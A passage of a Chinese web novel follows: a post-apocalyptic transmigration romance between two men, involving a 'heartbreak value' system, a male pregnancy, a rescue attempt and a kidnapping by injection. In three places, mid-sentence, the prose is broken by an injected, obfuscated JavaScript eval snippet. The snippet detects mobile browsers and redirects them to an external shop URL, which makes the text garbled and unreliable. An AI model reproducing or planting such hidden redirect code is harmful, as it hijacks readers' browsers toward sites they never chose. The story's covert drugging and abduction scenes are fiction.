因为此时此刻,在夜幕的掩映下,祁音尘正跨坐在江泠身上,清冷的眼角染上媚意,仗着江泠身体虚弱为非作歹。 他伸手抚摸江泠的脸,却等来江泠下意识避开的动作,但他也不恼,反而更俯身向前,自食其力着。 这种事情的确要节制,在针对江泠身体状况的缜密规划下,祁音尘格外珍惜每一滴。 暖调的灯光下,只见祁音尘宽松的白衬衣慢慢抖落露出双肩,发出轻微的喘声像沾了蜜似的。 一夜温馨。 白天,系统好奇的看着自家宿主坐在窗边发呆,忍不住开口问:【宿主你怎么啦?】不过很快,它似乎也意识到了什么,愤愤的阴阳道:【我说的没错吧,有人就是要占你便宜!馋你身子!】 【嚯,宿主你得明白,有些零饥渴得很!可怕得很!表面看起来像块冰,实则恨不得自己再暖一点!】 …… 江泠禁言了。 他撑着头想不明白,祁音尘抱着他睡,他姑且忍了,如今更是变本加厉,每夜压榨,难不成祁音尘觉得这样做就可以让他忘掉一切吗? 最可怕的是祁音尘这几个月来严格控制每夜次数,但频率却高的吓人,这对吗?而且什么羞耻的话都说的出口,什么“都给我”、“没关系的,你可以……”,等等!这还是祁音尘吗? 不同以江泠的百思不得其解,实验室里祁音尘脸上带着狂喜之色,他轻柔地抚摸着小腹,是的,在那平坦不起眼的腹部正在孕育着一个生命。祁音尘抬眼温柔注视着电子显示屏,恨不得再看得清楚一点。 他乌黑的眼珠发亮,神色柔和,颤抖着抚摸着自己的小腹,这是他和江泠的孩子,这是—— 他的希望。 15. 高岭之花医学博士 14 江泠无聊的望着窗外,盘算着剩下的50%该怎么达成。前两回过后,虐心值跌跌涨涨,一路到了50%就再也没动过了。江泠安慰着自己进度条好歹是到了一半了,没想到刚刚系统又告诉他,虐心值居然隐隐有下降的趋势? 江泠:“嗯?这不对吧?我都没给他好脸,最近还义正言辞的拒绝他了……” 系统觉得自家宿主还是太年轻了:【宿主,你以为你拒绝就行了?主角受干的那点脏事我都不想说,每回都偷摸在饭菜里下一点不知名的东西,生怕你……唔唔。】 江泠强制捂嘴了。 他微微勾起嘴唇一笑,风撩起额前碎发,自言自语轻声道:“乖,没事,得到我的人算什么,他贪心得很,还想要得更多呢。” 而那个时候最适合进度条动。 他低头看了看自己的手腕,病态白的手腕关节处印着一个只有江泠能看见的数字,小小的、接近透明,这是连系统也不知道的东西。 做任何事都是要付出代价的,他也不例外。 离刷满虐心值的期限只剩90天了,江泠含笑看着系统在随身空间里挣扎着打转,下定决心一定要护好这个小东西。 毕竟一人一统一路走来不容易。 恍神间,江泠很容易就想起了和部长达成交易的那天—— 可爱的小萝莉一身暗黑中世纪复古洛丽塔裙,脸上带着接近可爱天真的微笑,声音蛊惑,像是引诱人堕入黑暗: “你必须在期限时间内完成任务,请让任务目标发自内心的悔恨,让他心理上的痛苦永远大于身体上的折磨,你的手腕间存在只有你自己看得见的任务倒数时,必要时刻,请合理利用你的死亡。” “规定期限内任务失败,你将被局内驱逐,成为永坠黑暗的暗使,但我承诺过——” “失败与否都会达成你的一个心愿,但你应该明白,被驱逐的任务者是没有办法携带系统离开这里的。” 主神笑盈盈的看着他,脸上的微笑让人联想到古堡里无忧无虑的公主,可说出的每一个字又残忍至极, “当然,你可以拒绝转部,我也不过是一个提议而已。” 也就是花点时间再等下一个人啦。 江泠现在还很清楚的记得自己的回答,屏蔽了系统的他没有一丝犹豫:“好”,他甚至再次重复了一遍“我愿意”。 江泠慢慢收回视线,思绪也飘了回来,脸上随意的神情显得人格外懒散,但受命在监控室观察江泠一举一动的人就十分的全神贯注了。 不是,还挺好看啊……完全符合他们对小白脸的刻板定义,监控人员神色呆呆的注视着屏幕,当下一秒看见祁博士踏进房间时,他立马清醒过来马上关闭了所有监控画面。 祁博士可是下了命令的,他来之后的所有监控必须马上关闭。尽管再好奇,他也没有那个胆子继续看。监控人员耸了耸肩,关闭监控后,立马开始打盹休息。 脸是好看,但是盯久了屏幕还是太伤眼了。 听到门“嘎吱”一响,江泠平静的看着祁音尘神色高兴的冲进来,他脸上的喜悦将身上冰冷、不近人情的疏离感驱逐殆尽,跟个喜形于色的年轻人没什么两样。 祁音尘如今其实也不过25岁,但是经历太多,严肃时已经有了几分上位者的沉稳和威压,倒是叫人注意不到年龄这个问题了。 祁音尘走到他跟前,眉梢压不住的愉悦和期待跟以前似乎不太一样。 江泠说不上来什么感觉,眼皮一跳,主动开口询问:“有事吗?” 他不太明白有什么事能让祁音尘如此兴奋喜悦,甚至觉得给他分享也能带来同样的感受。江泠把推开的窗子往回拉了拉,坐在窗边等着祁音尘的回应。 祁音尘压了压扬起的嘴角,到这个时候已经忍不住要告诉江泠了,当然他也没忍,眼含期待地对江泠说: “我们有孩子了,江泠。” 说完之后祁音尘目不转睛的盯着江泠,不愿错过他脸上任何一个表情和即将产生的反应。 江泠的手一抖,狐疑地反问:“哪里来的孩子?我们之间怎么可能有孩子?我们都是男人!” 祁音尘是不是脑袋出现什么问题了?要不然怎么可能说得出这么可怕的话来? 江泠捏着水杯,不由自主收力紧紧攥住杯身,这是他来这个小世界第一次产生的难以控制的情绪波动。 虽然江泠不太愿意相信祁音尘嘴里的话,但是心里却生出一个念头:“万一是真的呢?” 祁音尘其实就是个疯子,没有人比他更明白这一点了。祁音尘这人医学天赋极高,本质上又是个为达目的不择手段的人,有什么事是他做不出来的呢? 但是为什么会弄出一个孩子来? 江泠呼吸有些困难,突然间的情绪波动也让这具身体产生了一些不太好的反应。但他没心思关注这些,而是将目光落在了祁音尘身上。 祁音尘没能如期望中的那样感受到江泠的欣喜,也没有在忐忑中接收来自江泠的厌恶,江泠的眼中是近乎冷静的平淡,如果他没看到江泠颤抖的手,几乎要以为江泠根本没有情绪。 但是不知怎么的,祁音尘声音开始不由自主的放低,认真地解释:“我没有必要拿这种事情骗你,我的确有了你的孩子。”说完这句话,他又斟酌着补充了一句:“末世里,男人生子并非不可能,只是需要做一些辅助类的改造……”他想以理智的方式告诉江泠这件事存在的合理性,却又小心翼翼的想让江泠不得不接受这个现实。 江泠一瞬间失语。 他没有想到祁音尘已经做到愿意怀孩子的那一步了,往日的高傲清冷如今就是个笑话。 江泠揉了揉眉心,眼睛扫了一眼祁音尘现在并不明显的腹部,试图告诉他一个道理: “孩子是无辜的,他不是筹码,你明白吗?” 祁音尘这样做是为了什么,江泠不是不知道。但是这对于祁音尘肚子里的孩子来说不是一件好事。 被当做筹码的孩子会幸福吗? 这个孩子只会带着一个不切实际的虚妄存活,可是他们原本应该在爱意中降临的。 祁音尘从来没有见过江泠这个样子,那个他印象中生活优渥富足的小少爷似乎一瞬间成熟起来。听到江泠的话,他手放在腹部,低声喃喃道:“筹码吗?你觉得他只是筹码吗?” 祁音尘一下又一下的抚摸着腹部,很自然的保护动作,只是眼中毫无神采,像是被抽了魂似的。 两人僵持着,安静的氛围在两人身边发酵。 而这个时候,只有虐心值在缓缓上升。 但江泠却算不上开心,心里反而有些复杂。 他动了一下,看向失魂落魄的祁音尘,皱了皱眉,最后开口:“我希望你考虑清楚,他以后的家庭算完整吗?这对他来说公平吗” 祁音尘本就有些腹痛,此刻更是如坠冰窖,他想不明白江泠为什么会有这么大的反应,于是想要抓住江泠的手寻求一丝安慰,但却被江泠避开。 见此情形,江泠想再劝劝祁音尘,门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775810|190306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外传来的动静却让他们一致看向门口。 重装越野车轮胎与地面摩擦发出巨大的声响,接着是一阵急促的脚步声,似乎还有人在阻拦,但是声音却越来越近。 片刻后脚步声戛然而止,门被人强有力的踹开,门板重重的砸在地上发出巨大声响,同时还有一道声音传到江泠耳中—— “阿泠,哥来带你走。” 江泠抬头,映入眼帘的是宋檀玉俊美深邃、轮廓分明的一张脸。那双宝石蓝般的眸子满是喜悦和真挚望着他,目光隐隐约约还带着疼惜。 宋檀玉身后跟着的兄弟踢开最后一个“麻烦”后站在宋檀玉身后,有的人认识江泠,有的人却只是听过名字,因此都不免多看了江泠两眼。发现江泠好胳膊好腿的活着之后,不少人都暗暗松了口气。 还活着呢,挺好。 江泠忽然不知道该说什么,他眼眶微红,对着宋檀玉一行人强扯出一个笑来。算上之前已经两次了,两次他们都是为了自己闯入这里。 作为圈子里年龄最小的弟弟,宋檀玉他们都是拿他当亲弟弟似的看。这群富家少爷都是独生子女,因此全部的耐心算是都给了江泠,尤其是宋檀玉。原先被扔进丧尸堆那回,他们也没有放弃寻找自己。 尽管他成了丧尸,宋檀玉也知道他想的是什么,帮他亲手结束了他的痛苦生活。 江泠神情有些激动,眼角泛红,最后声音颤抖地叫了一声:“檀玉哥。” 宋檀玉走上前去,连多余一个眼神都不愿意分给某人,伸手搭在江泠肩上轻轻安抚着他,“哥在”,说完,宋檀玉才冷冷扫了一眼祁音尘,意有所指道: “有人明明答应了让我们见你,却迟迟不履行承诺,看来还是得靠自己啊。” 当然,他来这里可不是为了阴阳祁音尘,他可还有更重要的事呢。宋檀玉对江泠露出一个温和的笑意,轻声问: “小泠,愿意跟我们走吗?” 问是问了,也算是尊重一下小泠的意愿,宋檀玉暗暗想,但是最后愿不愿意都得跟他们走! 保不齐最后这傻小子又犯恋爱脑了。 但是这回宋檀玉有些欣慰,因为江泠点了点头,说了句“愿意。” 嚯!今天可真是个好日子。 听到这话,宋檀玉身边的人用手肘捅了捅宋檀玉,催促道:“还傻乐呢?!咱们还不快走!现在基地没留下多少人,等人都回来了,咱们都走不了就哭去吧。” 就在一行人风风火火的动起来,准备护着江泠离开的时候,祁音尘迅速闪到了江泠面前,拦住了他们。 哎?都忘了这个人了。众人一愣,但并不觉得白白瘦瘦的祁音尘会给他们造成任何威胁。 其实祁音尘都快站不住了,他眼中晃着水波,泪像是马上要坠下来,但又没有。他咽下喉间那股酸涩,用眼神恳求江泠留下来。 宋檀玉脸色不太好的活动活动了手腕,正欲动作却被江泠伸手拦住了。 没办法,他素质高,实在是做不到眼睁睁看着一个孕夫被打。 江泠缓缓看了祁音尘一眼,转头对宋檀玉说:“走吧。” 宋檀玉点点头,示意着一行人离开,就在即将迈出门口时,背后传来一道凄厉的声音: “江泠,别走!别走!” 江泠闻声停住回头看,祁音尘竟然屈膝跪在地上。一滴泪缓缓从祁音尘的眼角滑落,见到江泠回头,他眼中又迸发出强烈的希望来,不管不顾膝行了两步,声音哽咽: “求你,别走。” 16. 高岭之花医学博士 15 祁音尘单薄的身体止不住颤抖着,脸上两道泪痕十分明显,就算是跪在地上,起伏的背脊曲线还是十分完美。 不过这一幕倒是像极了骄傲的天鹅终于低下他高贵的头颅,只恳求他喜欢的人能看他一眼。 就算祁音尘想要硬留,留得住吗?这群人分明就是打定主意要带江泠离开。这个时候与其胡搅蛮缠的拦着,倒不如摆出柔顺的姿态赌江泠会不会心软。 其实江泠……本来就没有打算走。 他还要争取在剩下的日子努力将虐心值刷满呢,怎么可能走?不过这对他来说倒是个机会。 江泠看向祁音尘的眼中多了一抹深意,而瞧见这一幕的宋檀玉不禁皱起了眉。 好吧,的确,祁音尘摆出的这副姿态是会让人有些心软……要哭不哭的一双泪眼,清瘦、颤抖着的身体,落寞可怜的神情…… 不知道的还以为是什么无辜弱小的小白花呢。 宋檀玉尖酸刻薄的在心里下了评价,欲言又止的扫了江泠好几眼,忽然生出一股不太好的预感来。 等等,要不……直接将人绑走呢?不,别急,小泠不是还没说什么嘛,要是他先阻拦,反倒是成了拆散两人的恶人。 结果预感果然如期而至—— 江泠脚尖朝外,直直的走到祁音尘面前半蹲下与他目光平视:“我不走了,” “不过我要跟檀玉哥说几句话。” 祁音尘不敢相信的抬眸,惊喜的样子像是压根没有预料到这样的结果,脸上未干的泪痕和眼眶里水盈盈的一汪清泉看起来倒像是有几分喜极而泣的感觉,还没等祁音尘开口,江泠就站了起来,兀自到了宋檀玉跟前。 宋檀玉是真的不知道该说什么了。 他就知道那小白脸一哭就没什么好事! 江泠自然没错过宋檀玉脸上难看但又克制的神情,但他没有过多的解释,而是眼睫下垂,低低地说:“檀玉哥,我有事跟你说。” 宋檀玉看着江泠一副乖巧温顺、可怜巴巴的样子哪里还强硬得起来,只得叹了口气,跟着江泠到了走廊尽头的狭小角落。 时间很快过去,也不知道两人到底说了什么,众人看到江泠和宋檀玉一前一后走过来,脸色都算不上好看,当然,宋檀玉的犹为难看。 早就守在门边的兄弟伙急忙冲上前去,小心翼翼附耳问:“檀哥,小泠跟我们走吗?” 刚刚角落那阵砸门声属实把他们吓着了,更别说现在檀哥跟小泠两人还离得远远的,肯定是谈崩了。 宋檀玉没有回答,只是一双蔚蓝的眼睛染上怒气,死死的瞪着祁音尘,半响,他才咬着后槽牙说: “我们走!” “咦?” 宋檀玉身边的人有些诧异,但见宋檀玉头也不回的离开,江泠却站在那里一动不动,心里暗自叫苦。 最后他们也只得跟上宋檀玉的脚步。 很快,齐刷刷的脚步声远去,靴子重重的砸在地板上,像是要把地上踩出一个洞来。拥挤的走廊也终于再次变得空旷。 现在只剩下江泠和跪在地上的祁音尘。 江泠等看着人都走没影儿才转过身,见祁音尘还跪在地上,他双手抓住祁音尘的肩膀,示意他起来:“地上凉,别跪着了。” 平静的语调落在祁音尘耳中无端生出几分温柔,他借力慢慢站起来,试探地靠在了江泠身上,很轻,像是刻意减轻自己的存在感。 江泠看着祁音尘自欺欺人的举动,没说话,神色中有些疲倦。当祁音尘温热的体温隔着衣服传过来,他微微垂眼,说出的话让祁音尘刹那间跌回冰天雪地, “我觉得,这个孩子不该来到这世上。” 他怎么可能接受这个事实?他也不相信祁音尘之后会好好的对这个孩子。 祁音尘声音带着苦涩,还是不甘心的问:“为什么?江泠,这是你的孩子……” 他把手搁到小腹上,试图改变江泠的想法。 江泠早就猜到祁音尘不会愿意,但他也不可能强迫祁音尘打掉这个孩子,于是只好松开手:“决定权不在我,但是请你要为他负责。” 祁音尘微微抬头,精致的眉眼罩上了一层厚厚的忧郁,某种化不开的雾气诉说着他的迷茫。 按理说江泠已经为孩子妥协了,他应该高兴才是,可是为什么……他会觉得有些难过呢? 房间内十分温暖,祁音尘抚摸着腹部,却感觉到四肢冰冷。 江泠明明就在他眼前,可他为什么感觉江泠离他越来越远了呢? 为什么呢? 没有人会给出答案。 祁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775811|190306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音尘不知道江泠到底和宋檀玉说了什么,也不明白江泠能走为什么要留下来,更不知道自己究竟有没有为曾经做下的错事挽回一点点,不知道江泠被伤的千疮百孔的心还可不可以复原,不知道江泠会不会喜欢这个孩子,不知道自己究竟有没有抓住江泠,也不知道,江泠到底会不会……还有那么一点点喜欢他。 以前的他从没有这样陷入过迷茫之中,尽管前路未知但他永远可以做自己想做的事。只是要为了达成自己的目的,什么都可以利用,包括情爱。他不敢相信江泠那种纨绔富二代会真的爱上自己,更不觉得江家对他的好不含一丝目的。 于是曾经弃如敝履的东西,如今求也求不来。 大颗大颗的眼泪夺眶而出,无声、默默的顺着脸颊滴落在地上,眼里浓烈的悲伤几乎要将祁音尘吞噬。 江泠看到这一幕有些恍然,直到系统的提示声响起,才回过神—— 【虐心值已达70%!】 【宿主!就是这种稳定的节奏!】 江泠没有接话,他对面的人依旧在哭。 可江泠却没有动,属于过往回忆的片段突然出现在他脑海里—— 骄傲张扬的少年耷拉着脑袋乖乖的跟在穿着白衬衣,背着书包的清冷少年身后,一边跟着迈开脚步,一遍不死心的嬉皮笑脸的问: “真不跟我回家啊?我们老江家唯一的状元可就指望你了……” 昏暗幽深的小巷,连阳光都很难透进来,两边挨得紧紧密密的居民楼遮天蔽日,伴随的还有小孩子的喧哗声,不知道是哪家的厨房炒菜的炊烟飘了出来,空气中飘着一股菜味。长了眼睛的人都看得出来,这种地方是不会有少年这种人踏足的。 走在前面的祁音尘猛地回头,语气嘲讽:“大少爷还是别来这种地方吧,这儿你可呆不惯。”他黑沉的瞳孔里冷静又理智,将目光锁定着与这里格格不入的少年身上。 但江泠并未听出深意,依旧没心没肺:“没事啊,我家你肯定待的惯。” 少年狡黠的笑笑,祁音尘动了动嘴唇,很明显是对付不过江泠的厚脸皮,于是斜了一眼便再也没说话了。 窄窄的巷子里一前一后走着的两人相距只有一臂,祁音尘紧紧攥着书包背带往前走,后面则是江泠兴奋的声音,一起被封存进回忆。 17. 高岭之花医学博士 16 自从那天过后,祁音尘觉得以前那个江泠似乎回来了……那个总将他放在心尖上照顾的江泠再次回到了他身边。 可祁音尘清楚地知道,江泠只是在对他肚子里那个孩子负责而已。 江泠的耐心和陪伴并不是给他的,但又有什么关系呢? 日子也没必要过得那么明白。 但祁音尘还是总能想起在那个昏暗的小巷子里,江泠逆着光对他笑着的模样。眉眼弯弯,笑意盈盈,恨不得将自己的一颗心捧出来。 祁音尘视线模糊,随后眼中慢慢出现清晰的场景,江泠褪去了那份青涩与无害,变成了现在冷静淡漠的模样。 他正半倚在窗边看着外面乌云压境,满天黄沙的远处,却不肯将多余的心思分给他一点。 祁音尘苦涩的笑了笑,不知怎么的,突然问出了一个藏在心里已久的问题—— “江泠,我们还有可能吗?” 还有可能一起等到末世彻底摆脱阴霾,回到以前安定的日子吗?还能一起回学校看看吗,还可以带着他和宝宝再次回到江家吗? 江泠有些诧异的回头,似乎不明白祁音尘为什么这么问,但并不妨碍他想也不想就否定:“当然不可能。” 有意思,无缘无故“送分”吗? 他低头看了看手腕上闪烁的时间倒计时,漫不经心的想祁音尘居然也会问出这种天真的问题。 【滴!虐心值+5!】 江泠不太意外,这纯纯送分题,没什么值得探讨的意义。 江泠又发了会呆,估摸着时间差不多了,于是慢慢走过来替祁音尘揉着肚子。这当然也是祁音尘提出来的,说他现在不太方便,又不愿意让旁人碰他,最后这差事就落在了江泠头上。 说实话,江泠有偷偷怀疑过这样做究竟有没有用,但每回见着祁音尘脸上露出舒服的神情,又打消了自己的质疑。 江泠的手有些凉,摸到祁音尘稍稍鼓起的腹部时,手感软乎乎的。显然,在江泠的一套手法下,祁音尘身体好受许多,但是……这人为什么脸快熟透了? 江泠奇怪了看了祁音尘好几眼,手上的动作却没停。 祁音尘的瞳孔渐渐失了聚焦,眼中迷离一片,甚至有些红霞从脸上蔓延到耳尖,尽管这样却还是眼都不眨地盯着江泠,生怕少看了一眼。 系统看不下去了:【宿主,他这分明就是发/情了啊!你别纵容他!】 江泠神色淡淡的抽出了自己的手,还不等祁音尘反应过来,就推门离开了房间。 是的,他们俩现在并没有住在一起,而是分房睡。其实祁音尘是不太愿意的,但是江泠一提孩子,祁音尘也不敢多说什么了。再加上经过宋檀玉那一出后,江泠现在可比之前自由多了。 等祁音尘回过神的时候,江泠已经轻轻的把门合上了。 祁音尘这才像是突然意识到什么,立马将腰上的衣服拉下来掩住一大片雪白的肌肤,急忙从躺椅上下来,想追上江泠。 他总觉得,自己应该再努力一点,说不定就能更加靠近江泠。 但就在祁音尘走出门的那一刹那,藏在阴影处的一道黑色身影迅速的将手中的针剂插进祁音尘白皙的脖颈处。痛感传来,祁音尘立马握住针管,但还没来得及回头,就失去了意识,缓缓倒在了地上。 太过着急往往能使人丢了防备,赵祁穿着黑色冲锋衣,帽子下露出一抹笑,眼神痴迷又复杂的看着倒在地上的人。 很快,赵祁便扶起了祁音尘,他压了压低帽子,还算是轻柔的半扶着人消失在了安静的走廊。 过了半个小时祁音尘都没追过来,看来是有事要忙。 这样的话,江泠可就放心啦。 他坐在房间悠闲地喝着可乐,琢磨着之后的事。 根据不变的定律,越闲越有事情找上门。门外急促的敲门声打断了江泠的思绪,他冷静地喝完最后一口可乐,熟练的将可乐瓶塞进床边放的书柜,啪的一声关了书柜门。 门外着急的声音清晰的传来进来—— “江泠?在吗?出事了!祁博士好像不见了!” 听声音有点熟悉,好像是之前照顾他的小吴? 江泠不慌不忙的打开门,对上小吴像老妈子一样操碎心了的脸,先是安慰道:“别着急,他不会有事的。我跟他应该分开不到半个小时,房间里没有人吗?实验室呢?” 祁音尘怀孕这事知道的人不多,毕竟末世里人人自危,多少不怀好意的人也都盯着祁音尘呢。但祁音尘绝对不会没有半点防备,江泠的确不太相信半个小时内祁音尘会出什么事。 小吴机灵的看出来眼前人心中存疑,立马解释:“祁博士的手环有定位功能,我们有部分人有权限可以查看,刚刚正好看到那个定位小黑点一直保持移动的速度,所以猜测祁博士有可能出事了。” “你离开的时候祁博士还在吗?还是说……”小吴着急的确认细节,江泠也十分配合地回答:“还在。但腿长在他身上,说实话,我也不太清楚。” 江泠的表情过于淡定,其实态度已经算不错了,但是小吴总觉得凭祁博士和江泠的关系,他不应该是这个反应。 俗话说老天有成人之美,小吴也想做点什么帮两人增进点感情。 于是他闭了闭眼豁出去了,硬着头皮说:“再怎么说你也是博士肚子里的孩子的另一个爹,要不、要不……你也……” 等等,为什么不敢说完啊? 噢,博士叮嘱过他要看好江泠的人身安全,可他话都说了一半了…… 江泠自然懂了小吴的未完之意,扯过外套,侧身往外走:“走吧,一起去看看。” 要是看看虐心值还能掉……小吴,到时候有你好看的。 这边的小吴还在垂死挣扎中,但是转念一想,说不定博士还会夸他会做事呢!于是十分积极地安排车辆追踪定位了。 祁音尘如今能统筹基地所有的研究实验室,自然是旁人难以替代的。因此,不少人也以表忠心,愿意追随祁音尘。现在人出事了,他们这些手下能不急嘛。很快,几辆越野车迅速集结,整装待发的异能人员纷纷上了车。 小吴是有些眼力见在的,自然不会让江泠跟那些人挤,于是立马邀着江泠上了另一辆车。 车队迅速出发,江泠坐在副驾驶看着行驶途中路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775812|190306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边的风景,放空思绪。 江泠左手边开车的人戴着一顶鸭舌帽,低低的压着,看不清眉眼,但是从轮廓分明的下颌线看来,很容易知道是谁。 江泠扫了一眼,叫出了那人的名字:“安瓷?” 旁边的人听到后身体突然一僵,空阔的车内只有江泠和安瓷,倒是方便了两人不用藏着掖着说话。 安瓷刻意低着的头在听到江泠的话后缓缓的抬了起来,被鸭舌帽遮住的大半张脸暴露在视线内,一双桃花眼潋滟多情,看向江泠的眼中却多了几分不明的意味,往日的假笑面具从脸上褪去,显得安瓷整个人有些惶惶不安。 “你、你怎么知道是我?” 江泠淡淡的接话:“我早就知道了。当初在医学院跟祁音尘齐名的不就是你吗?也挺有名的。” 安瓷手没停,依旧稳稳的放在方向盘上,表情变得有些古怪:“你知道?” 你知道我?你早就注意到我了? “知道的,你很优秀。”江泠颔首回应,却又问起了另一个问题:“你为什么要来?我们这是去找祁音尘的。” 哎,不对,他是不是忘了什么? 他原先固然是舔狗,安瓷也是忠犬来着的啊! 想到这里,他抬手止住想要回答的安瓷,理解的点头:“这个我也知道,你不用说。” 其实安瓷在原先小世界里算是一个比他成功的备胎了,毕竟—— 他还活着。 安瓷有些无措和茫然,向来游刃有余的人此时语言系统却开始产生混乱。他修长的十指紧紧的扣着方向盘,喉咙苦涩的说不出话,他明白江泠误会了什么。过了半响,安瓷才小心翼翼了吐出了三个字—— “对不起。” 对不起,在过去对你造成无可挽回的伤害。因为被嫉妒蒙蔽了双眼,所以才会采取这种极端的方式想让你多看我一眼。 我从来喜欢的都不是祁音尘。 那些我亲自设计的实验项目,从来都不是为了折磨你,我只是想你服软,想要你在我面前服个软而已。 可是你没有,一次都没有。 你究竟有多爱祁音尘,才会愿意为他做到这个地步呢? 无论你的眼里多黯淡,你都只会看着祁音尘一个人。 但值得高兴的是,你终于看清楚了所有人。 江泠听到安瓷的道歉有些错愕,苍白的脸上涌现笑意,“你有什么对不起我的?” 好像还真有? 江泠轻描淡写的话一句一句敲打在安瓷苦涩疼痛难忍的心上—— “难道你感到对不起的是在我身体上做那些的实验吗?但我觉得你更对不起的是你自己。” 对不起明明同样拥有天赋,却甘心埋没自己,甘心沦为工具的自己。 明明江泠没说什么,却又好像什么都说了。 安瓷看着江泠的侧脸,心口的位置像破了一个大洞,凉风悄无声息钻了进来。 那个时候,安瓷就明白了—— 那个在他泥泞一般昏暗的生命里,肆意张扬却又善良的小少爷始终都存在,是他们不配。 他们不配。 18. 高岭之花医学博士 17 接下来安瓷没有再说话,江泠也懒得再聊过去那些事,于是闭上了眼。安瓷开着车,偶尔装作不经意的往右边瞥一眼,心里苦涩无比。 很快,前面的车队停了下来,安瓷将车稳稳停在最后面,就打算这么陪江泠呆着。 其实他们根本就没有必要带江泠来,现在让江泠在这里等是最好的选择。 但这时,小吴来到车边,身形映在车窗玻璃上,江泠立马秒懂,舔了舔有些干燥的嘴皮,乖乖的解开安全带,走了下来。 小吴伸手帮忙拉开车门,其实他过来是想让江泠好好待在车上,保证等会博士出来能看见人就行,但是江泠这么主动……小吴忽然有了其他主意:“根据定位显示,祁博士应该就在这里。等会我带人先进去,有人会在后面保护你,你远远的跟在我们身后就行,等祁博士人安全出来,你第一个上去。” 小吴喋喋不休的交代着,真是操碎了心。 江泠根据小吴的话看向那个周围枯草丛生的仓库,荒废已久,估计是以前储存物资的地方。锈迹斑斑的铁皮仓库被风吹作响,斑驳的大门虚掩着,只留下一个细小的缝。 过了半响,江泠才收回眼神,看向小吴时嘴边轻微勾起弧度,风吹起他额前微长的碎发,干净的笑衬得江泠本就出众的脸越发熠熠生辉,只见他低低的应了一句: “好。” 小吴有些呼吸不上来了,他总算明白祁博士为什么一心栽倒江泠身上了。就算是看这张脸,也回本了啊!他缓了缓,手放在胸口,平息着急促的心跳,点点头又不厌其烦的叮嘱了一遍:“好的,也请您一定要保护好自己。” 这时,一只白皙修长的手伸过来将江泠拦住后面,安瓷语气明显是有些难以置信的,他皱着眉质问小吴:“江泠本来身体就不好,你还让他跟着你们,万一里面很危险呢?江泠要是出事了怎么办?你到底是怎么想的?” 安瓷好看的眉眼紧皱在一团,眼里满是不赞同。 江泠不着痕迹的轻轻将安瓷的手推开,回头奇怪的看了他一眼: “安助要是不想我进去,你也可以跟着来啊。” 整的露脸的机会好像是唯一的似的。 安瓷喉咙发干,话像是梗在喉间吐不出来,一双多情桃花眼蒙上朦胧雾气,只觉得心口发酸。 小吴的视线在两人间打转,心想,要是真的都进去那才叫火葬场呢。 江泠跟着几个小队往前走,小吴立马让人护在江泠周围,开玩笑,江泠要是有个什么万一,就等着博士把他碎尸万段吧。 几个小队的人形成包围圈,手上拿着武器,慢慢逼近仓库。江泠站在最外面,神色不明的看着仓库的方向,心里却在想—— “究竟谁会对祁音尘动手呢?” 总不会是被称为“主角受背后的男人”的主角攻吧? 结果还真让江泠猜对了。 昏暗透不进的光线的仓库里破旧不堪,厚厚的灰尘弥漫在仓库的每一个角落,铁管上到处是斑驳的锈迹,仓库中间破旧的椅子上捆绑着一个年轻漂亮的男人,他看起来似乎很淡定,对于身处这种处境没有丝毫惊慌。 赵祁最终还是被祁音尘这种平静的态度惹恼了,他猛地逼近祁音尘的脸,与那双漂亮的黑沉眸子对峙着,右手死死的捏住祁音尘的下巴,逼着祁音尘不得不正视自己。 他眼中带着恶意的嘲讽,虽然他从没有想过两人之间会是这样的局面,但是这个时候他却也迫不及待拆穿祁音尘的虚伪清高,好证明他们其实没什么两样: “祁音尘,你为了江泠废掉我的异能,基地那群不怀好意的人像饿狼看见肉一样疯狂收买我的手下,吞并我的势力,我现在沦为这个样子,你满意了吗?嗯!你满意了吗?!” 赵祁声音低沉,可说到最后一句时还是控制不住猛地提高了音量。 他突然松开手,慢慢的绕到祁音尘身后,只是走姿却有些一瘸一拐的,因为左腿不久前被人打断过。没了异能,基地不少人也早看他不顺眼,经常暗中使绊子,这几个月下来,迫于生计,赵祁整个人沧桑不少,实在看不出他原来是高高在上、光鲜亮丽的基地领导人。 赵祁毒蛇一般阴冷的语调却像是说着最动听的情话,附在祁音尘耳旁轻声呢喃: “为什么你还是喜欢上了江泠?我明明才是最早喜欢你的人啊!我最早开始关注你,注视着你的一举一动……你不知道,我有多想撕烂你身上的白衬衣。但我一直压抑着自己,告诉自己,慢慢来,可是我等来的是什么?” 说到这里,赵祁忍不住低头在祁音尘白皙的脖子上轻轻嗅着,像是闻着世上最好闻的香味。 